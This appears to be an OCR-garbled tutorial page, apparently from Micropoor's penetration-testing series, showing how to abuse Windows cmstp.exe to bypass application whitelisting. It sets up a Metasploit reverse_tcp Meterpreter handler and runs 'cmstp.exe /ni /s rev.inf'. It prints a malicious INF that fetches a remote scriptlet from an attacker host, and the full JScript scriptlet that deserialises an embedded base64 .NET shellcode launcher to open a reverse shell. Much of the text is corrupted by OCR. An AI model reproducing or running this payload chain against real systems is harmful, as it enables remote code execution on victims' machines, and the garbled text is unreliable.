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commands/cmstp
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iEEx86 , x64\RICmstpiEFE.

Windows 2003 ERANE :

Windows 7 BRAE :

¥sk#l - 192.168.1.4 Debian
SEHL ;. 192.168.1.119  Windows 7

AeEIEHmsf :
i¥ : x64 payload

I msf exploit(multi/handler) > show options
3 Module options (exploit/multi/handler):

5 Name Current Setting Required Description


https://micropoor.blogspot.com/
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp

Payload options (windows/x64/meterpreter/reverse_tcp

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce
ss, none

LHOST 192.168.1.4 yes The listen address (an interface may be specifi
ed

LPORT 53 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

emsf exploit(multi/handler) > exploit

*1 Started reverse TCP handler on 192.168.1.4:53

msf exploit{multi/handler) = show options
Module options fexploitsmultishandler)

Mame Current Setting FRequired Cescription

Payload options (window

Mame current Setting Required

pted: '', seh, thread, process, none)

LHOST . he 11 1 addr an interface may be specifi
LPORT

Exploit target:
Id  Mame
@ Wildcard Target
emsf exploit{multishandler} = exploit

[#] Started reverse TCF handler on 182.168.1.4:53




FEHINAT

| cmstp.exe /ni /s C:\Users\John\Desktop\rev.inf

C:hUsershJohniDesktopscmstp.exe /ni /s CiyUsersiJohn\Desktophrev.inf

uH-Prru1”h”5Dp-l?”

i¥ : x64 payload

| msf exploit(multi/handler) > exploit

9

3 [*] Started reverse TCP handler on 192.168.1.4:53
I [*] Sending stage (206403 bytes) to 192.168.1.5

5 [*] Meterpreter session 9 opened (192.168.1.4:53 -> 192.168.1.5:13220

at 2019-01-20 12:08:52 -0500

6

7 meterpreter > getuid

8 Server username: John-PC\John
9 meterpreter > getpid

10 Current pid: 8632

Il meterpreter >

ion 8 HpFnPd I1Cl . - 162,168,1,5:13220]) at 20198-01-20 12:

- = getuid
WELER 1th PCJohn

IurrF-nt pid
meterpreter -

PR :
Micropoor_rev_cmstp_inf :

version

2 -0500




2 Signature=$chicago$
3 AdvancedINF=2.5

5 [DefaultInstall SingleUser]
6 UnRegisterOCXs=UnRegisterOCXSection

8 [UnRegisterOCXSection]

9 %11%\scrobj.dl1l,NI,http://192.168.1.4/cmstp_rev_53 x64.sct
10

11 [Strings]

12 AppAct = "SOFTWARE\Microsoft\Connection Manager"

13 ServiceName="Micropoor"

14 ShortSvcName="Micropoor"

cmstp_rev_53_x64.sct

1 <?XML version="1.0"?>

NG}

<scriptlet>

3 <registration

4  progid="PoC"

5 classid="{F0001111-0000-0000-0000-00OOFEEDACDC}" >

7 <script language="JScript">
8 < ![CDATA[

10 function setversion() {

11}

12 function debug(s) {}

13 function base64ToStream(b) {

14 var enc = new ActiveXObject("System.Text.ASCIIEncoding");
15 var length = enc.GetByteCount_2(b);

16 var ba = enc.GetBytes 4(b);

17 var transform = new ActiveXObject("System.Security.Cryptography.Fromt
ase64Transform™);

18 ba = transform.TransformFinalBlock(ba, @, length);

19 var ms = new ActiveXObject("System.IO.MemoryStream");
20 ms.Write(ba, @, (length / 4) * 3);

21  ms.Position = 0;

22 return ms;

23}



24

25 var serialized _obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACITeXNOZWOURGVsZWdt
dGVTZXIpYWxpemFOaWouSGIsZGVy "+

26 "AWAAAAhEZWx1Z2FOZQdOYXInZXQwB211dGhvZDADAWMWU31zdGVtLKR1bGVnYXR1U2Vy:
WFsaXph"+

27 "dGlvbkhvbGR1citEZWx1Z2F@ZUVudHI5I1IN5c3R1bS5EZWx1Z2F@ZVN1cmlhbG16YXRpl
25Ib2xk"+

28 "ZXIvU31zdGVtL131Zmx1Y3Rpb24uTWVtYmVySW5mbINlcmlhbG16YXRpb25Ib2xkZXIJ/
gAAAAKD" +

29 "AAAACQQAAAAEAgAAADBTeXNOZWOURGVSZWdhdGVTZXIpYWxpemFOaWOuSG9sZGVyKOR1t
GVnYXR1"+

30 "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2VOENRhcmd1ldFR5cGVBCc3N1bWIseQ50)
XInZXRU" +

31 "eXBlTmFtZQptZXRob2ROYW11DWR1bGVnYXR1IRW50cnkBAQIBAQEDMFN5c3R1bS5EZWx 1z
2FOZVN1"+

32 "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAALIN5c3R1bS5SdW50aW1ll
131bwWo0"+

33 "aW5nLk11c3NhzZ21luzZy5IZWFkZXIIYW5kbGVYyBgYAAABLbXNjb3IsaWISIFZ1cnNpb249)
idwLjAu"+
34 "MCwgQ3VsdHVyZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWMINJjE5MzR1MDg5E
gCcAAAAH" +

35 "dGFyZ2VOMAKkGAAAABgkAAAAPU31zdGVtLKkR1bGVNYXR1BgoAAAANRHIuYW1pY@ludm9r:
QOEAWAA" +

36 "ACITeXNOZWOURGVSZWdhdGVTZXIpYWxpemFOaWOuSG9sZGVyAwAAAAhEZWx1Z2FOZQde\
XINZXQw" +

37 "B211dGhvZDADBwWMwU31zdGVtLkR1bGVnYXR1U2VyaWFsaXphdGlvbkhvbGR1citEZWx1:
2FOZUVu"+

38 "dHJI5Ai9TeXNOZWOuUmVmbGVjdGlvbi5NZW1iZXJJIbmZvU2VyaWFsaXphdGlvbkhvbGR1¢
gkLAAAA" +

39 "CQwWAAAAJDQAAAAQEAAAALIN5c3R1IbS5SZWZsZWNOaWOuLk11bWI1ckluZm9TZXIpYWxpe
mF@aWou" +

40 "SG9sZGVyBgAAAAROYW11DEFzc2VtYmx5TmFtZQ1lDbGFzc@5hbWUJIU21nbmFOdXJI1Ck11t
WI1clR5"+

41 "cGUQR2VUZXJIpYOFyZ3VtZW50cwEBAQEAAWgNU31zdGVtL1R5cGVbXQkKAAAACQYAAAAI(
QAAAAYR" +

42 "AAAALFN5c3R1bS5PYmplY3QgRHIuYW1pY@ludm9rZShTeXNOZWOuT2IqZWNOW10pCAAA/
AOBCWAA" +

43 "AAIAAAAGEgAAACBTeXNOZWOUWG1sLINjaGVtYS5YbWxWYWx1ZUd1dHR1cgYTAAAATVNS
3R1bS5Y"+

44 "bWwsIFZ1lcnNpb249Mi4wL jAUMCwgQ3VsdHVyYyZT1luZXVOcmFsLCBQdWIsaWNLZX1Ub2t1t
jliNzdh"+
45 "NWMINJjES5MzR1MDg5BhQAAAAHAGFyYZ2VOMAKGAAAABhYAAAAaU31zdGVtL1I1Zmx1Y3Rpt
24uQXNz"+

46 "ZW1ibHkGFwWAAAARMb2FkCg8MAAAAABIAAAINWpAAAWAAAAQAAAD/ /wAAUAAAAAAAAABA/
AAAAAAA" +



47  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADN+6DgCOCCcOhuAFMzSFUaGlz]
HByb2dy"+
48 "YWOgY2Fubm90IGI1IHI1biBpbiBET1MgbWOkZS4ANDQokAAAAAAAAAFBFAABKkhgIAYaVE)
AAAAAAA" +

49 "AAAA8BAAIIAsCCwAADAAAAAQAAAAAAAAAAAAAACAAAAAAATABAAAAACAAAAACAAAEAAAA/
AAAAAQA" +

50 "AAAAAAAAAGAAAAACAAAAAAAAAWBAhQAAQAAAAAAAAEAAAAAAAAAAABAAAAAAAAAEAAAAL
AAAAAAA" +

51 "ABAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAATgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAA" +

52 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAA" +

53 "AAAAACAAAEgAAAAAAAAAAAAAACS50ZXhOAAAATAOAAAAgAAAADAAAAATAAAAAAAAAAAAAL
AAAACAA" +

54 "AGAucnNyYwAAAJgCAAAAQAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALNI1bGIOjAAAA/
AAAAGAA" +

55 "AAAAAAAAEgAAAAAAAAAAAAAAAAAAQAAAQkgAAAACAAUA7CIAAGAHAAABAAAAAAAAAAAAL
AAAAAAA" +

56 " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQE T of
AAACGAA" +

57 "KAIAAAYAACOAAAAAAAAA/EiD5PDozAAAAEFRQVBSUVZIMAI1SItSYEiLUhhIi1IgSTtyl
EgPtopK"+
58 "TTHISDHArDxhfAISIEHBYQ1BACHi7VIBUUiLUiCLQjxTIAdBmgXgYCWIPhXIAAACLgIgA/
ABIhcB@"+

59 "ZOgBOFCLSBhEi®AgSQHQ41ZI/81BizSISAHWTTHISDHArEHBYQ1BACE44HXXTANMIAhF(
dF12FhE"+

60 "i@AkSQHQZKGLDEhEi@ACcSQHQQYSEiEgBOEFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpI;
xLpS///"+
61 "/11JvndzM18zMgAAQVZJieZIgeygAQAASYN1SbwCAAAIWKgBBEFUSYnkTInxQbpMdyYH,
9VMiepo"+
62 "AQEAAF1BuimAawD/1WoKQV5QUEOxyUOXwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBY
EyJ4kiJ"+
63 "+UG6bmaVeYf/VhcBOCkn/znX16IMAAABIg+wQSIniTTHIagRBWEiJ+UG6AtNIX//Vg/gAd
1vIg8Qg"+
64 "Xon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJwOmIx00xyUmI8EiJ2kiJ+UG6AtNI
X//Vg/gA"+

65 "fShYQVdZaABAAABBWGOAWKkG6CY8PMP/VV11BunVuTWH/1Un/zuk8////SAHDSCnGSIX2¢
bRB/+dY"+

66 "agBZScfC8LWiVv/VAAATMAYAZQAAAAEAABEAIP4BAACNBEAAASXQAWAABCEGAAAKChYG:
m1+AQAA" +

67 "BH4ACAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAOMFgl+CQAAChMEFhYHEQQWE
gMoBAAA" +

68 "BgwWIFSgFAAAGJisAKkogABAAAIABAAAEHOCAAgAABCpCUOpCAQABAAAAAAAMAAAACjQuN
C4zMDMx" +

69 "OQAAAAAFAGWAAABgAgAAI34AAMWCAABIAWAAIINOcmluZ3MAAAAAFAYAAAgAAAA]VVMAEL
AYAABAA" +



70 "AAAjR1VIRAAAACWGAAAGAQAAIQIsb2TIAAAAAAAAAAgAAAVFVAjQIAgAAAPOIMWAWAAAB/
AAADWAA" +

71 "AAQAAAADAAAABgAAAAWAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEA/
AABAAAA" +

72 "AQAAAAAACgABAAAAAAAGADOANEAGAEOBMQEGAGKkBMQEGAIgBeAEGALEBeAEGANSBNEAGE
CUCeAEG"+

73 "AEACNgAGAHWCeAEGAISCNgAGAIECNgAGALQCNEAGAOYCXWIGAPECXwIGACSDGWMAAAAAL
QAAAAAA" +

74 "AQABAAEAEAATABSABQABAAEAAAAAAOABAAAFAAMABWATAQAASEIAACEABAAHABEATWAS!
BEAWgAS "+

75 "ABMBaAI+AFAgAAAAAIYYRAAKAAEAaCIAAAAAKQBKAA4AAQAAAAAAgACRIHEAFQABAAAA!L
ACAAJEg" +

76 "fgAdAAUAAAAAATAAKSCLACEACWDZIgAAAACRGBQDDgANAAAAAQCTAAAAAECrAAAAAWCW!,
AAABADB" +

77 "AAAAAQDLAAAAAgDeAAAAAWDGAAAABADSAAAABQD/AAAABgAPAQAAAQAAAQAAAgAIAREAF
AAUACEA" +

78 "RAAOACKARAAKAAKARAAKADKARAAKAEKApAJCAGEAuwIKAGkA7gIPAGEA8wWIYAHEARABK!
HKARAAK" +

79 "ACCAWwWASACAAEWBpACAAGWBYAGMAKWASAAgABgCRAAEA/gEAAAQAWWALAWABBWBXAAEA/
AEJAH4A" +

80 "AQAAAQsAiwABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAANYBAAAEAAAAAAAAAAAAAAAB/
COAAAAA" +

81 "AAQAAWAAAAASTWOkdWx1PgAyMjIyLmRsbABQcmOncmFtAFNoZWxsQ29kZUxhdW5jaGVy!/
G1zY29y"+

82 "bGLiAFN5c3R1bQBPYmplY3QALmMNOb3IATWFpbgBNRU1fQOONTULUAFBBROVFRVhFQ1VUF
VOSRUFE" +

83 "V1JIVEUAVmlydHVhbEFsbG9JjAENYZWFOZVRocmVhZABXYW1ORmOyU21uZ2x1T23qZWNe/
GXwU3Rh"+

84 "cnRBZGRyAHNpemUAZmxBbGxvY2F@aW9uVHIwZQBmbFByb3R1Y3QAbHBUaHJ1YWRBdHRYy:
WJidGvz"+

85 "AGR3U3RhY2tTaXplAGxwU3RhcnRBZGRYyZXNzAHBhcmFtAGR3Q3J1YXRpb25GbGFncwBs«
FRocmVh"+

86 "ZE1kAGhIYW5kbGUAZHdNaWxsaXN1Y29uZHMAU31zdGVtLIN1Y3VyaXR5L1Blcmlpc3Npt
25zAFN1"+

87 "Y3VyaXR5UGVybW1lzc21lvbkFOdHIpYnVOZQBTZWN1cmlOeUFjdGlvbgBTeXNOZWOuUNVuc
GltzsS5D"+

88 "b2lwalWx1lclNlcnZpY2VzAENVbXBpbGFOaW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUNVuc
G1tZUNv"+

89 "bXBhdGliaWxpdH1BdHRyaWJ1dGUAMjIyMgBCeXR1ADXxQcml2YXR1ISW1wbGVtZW50YXRpt
25EZXRh"+

90 "aWxzPntBODMyQkQ@OMS1EQjgyLTQONzEtOEMXRC1BMD1BNDFCQjAZRERIAENVDXBpbGVyF
2VuzZXJh"+

91 "dGVkQXROcmlidXR1AFZhbHV1VH1wZQBfX1NOYXRpYOFycmF5SW5pdFR5cGVTaXplPTUx)
AAkJIG11"+

92 "dGhvZDBANjAwMDAWMiOxAFJ1bnRpbWVIZWxwZXJzAEFycmF5AFJ1bnRpbWVGaWVsZEhht
mRsZQBJ"+



93 "bml@aWFsaXplQXJyYXKASW5QUHRYAGOWXOV4AcGXpY210AFN5Cc3R1bS5SdW50aW1lLkluc
GVyb3BT"+

94 "ZXJ2aWN1lcwBNYXJzaGFsAENvcHkAWmVybwBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsh
zIALmNj "+

95 "dG9YAFN5c3R1bS5TZWN1cml@eQBVbnZlcmlmaWFibGVDb2R1QXROcm1idXR1IAAAAAAAD]
AAAAAAA" +

96 "QbOyqILbcUSMHaCaQbsD3QAIt3pcVhko4IkDIAABAWAAAQIGCQCABAKICQkICEAGGAKI(
RgIEAKF"+

97 "AAIJGAKFIAEBEQOEIAEBCAQBAAAAAWYREACAAgESKREtBAABGAOIAAQBHQUIGAGCBhgIE
wUdBQKY "+

98 "CRgEIAEBDggBAAgAAAAAABABAAEAVAIWV3JhcE5vbkVAY2VwdGlvblRocm93cwGAni4Bs
IRTeXNO"+

99 "ZWeuU2VjdXJIpdHkuUGVybWlzc2lvbnMuU2VjdXJIpdH1QZXJtaXNzaW9uQXROcmlidXR1l
CBtc2Nv"+

100 "cmxpYiwgVmVyc2lvbjOoLjAuMCAwLCBDdWxOdXI1PW51dXRyYWwsIFB1YmxpY@tleVRv
a2VuPWI3"+

101 "N2E1YzU2MTkzNGUwWODkVAVQCEFNraXBWZXJIpZmljYXRpb24BAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

102 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

103 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

104 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

105 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

106 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

107 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

108  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

109 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAGAAAAAAAAAAA
AAAAAAAA" +

110 "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAABAgAAAAAAAAAAAAAS
AjQAAABW" +
111 "AFMAXwBWAEUAUgBTAEKATWBOAFB8ASQBOAEYATWAAAAAAVQTV/gAAAQAAAAAAAAAAAAAA
AAAAAAAA" +

112 "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQBYAEYAaQBsAGUASQBuU
AGYAbwAA" +

113 "AAAAJAAEAAAAVABYAGEAbgBzAGWAYQBOAGKAbwBUAAAAAAAAALAENAEAAAEAUWBOAHIA
aQBUAGCA"+

114 "RgBpAGWAZQBIAGAAZgBVAAAAeAEAAAEAMAAWADAAMAAWADQAYGAWAAAALAACAAEAREBE
AGWAZQBE "+

115 "AGUAcwBjAHIAaQBwAHQA2QBVAGAAAAAAACAAAAAWAAEAAQBGAGKAbABLAFYAZQBYyAHMA
aQBVvAG4A" +



116 "AAAAADAALgAwWAC4AMAAUADAAAAAOAAKAAQBIAGAAdABLIAHIAbgBhAGWATEBhAGOAZQAA
ADIAMgAyY"+

117 "ADIALgBKAGWAbAAAAAAAKAACAAEATAB1AGCAYQBSAEMAbwBWAHKACgBpAGCAaABOAAAA
IAAAADWA" +

118 "CQABAE8BAcgBpAGcAaQBUAGEAbABGAGKAbABLAG4AAYQBtAGUAAAAYADIAMgAYACAAZABS
AGWAAAAA™ +

119 "ADQACAABAFAACgEBVAGQAJQBjAHQAVEB1AHIACWBpPAGS8ADEAAADAAL gAWACAAMAAUADAA
AAA4AAGA" +

120 "AQBBAHMAcwB1AGOAYgBsAHKATIABWAGUAcgBzAGKAbwBUAAAAMAAUADAAL gAWAC4AMAAA
AAAAAAAA" +

121 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

122 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

123 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

124 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

125 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL
AAAAAAAA" +

126 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA" +

127 "AAAAAAAAAAAAAAAAAAAAAAABDQAAAAQAAAATFWAAAAKGAAAACRYAAAAGGEAAACATeXNE
ZWouUmvVm" +

128 "bGVjdGlvbi5Bc3N1bWJseSBMb2FkKEJ5dGVbXSkIAAAACgSA";
129 var entry_class = 'ShellCodelLauncher.Program’;

130

131 try {

132 setversion();

133 var stm = base64ToStream(serialized_obj);

134 var fmt = new ActiveXObject('System.Runtime.Serialization.Formatter
s.Binary.BinaryFormatter');

135  var al = new ActiveXObject('System.Collections.ArraylList');
136 var d = fmt.Deserialize 2(stm);

137 al.Add(undefined);

138 var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
139

140 } catch (e) {

141  debug(e.message);

142}

143

144 11>

145 </script>

146 </registration>



147 </scriptlet>

148

e  Micropoor



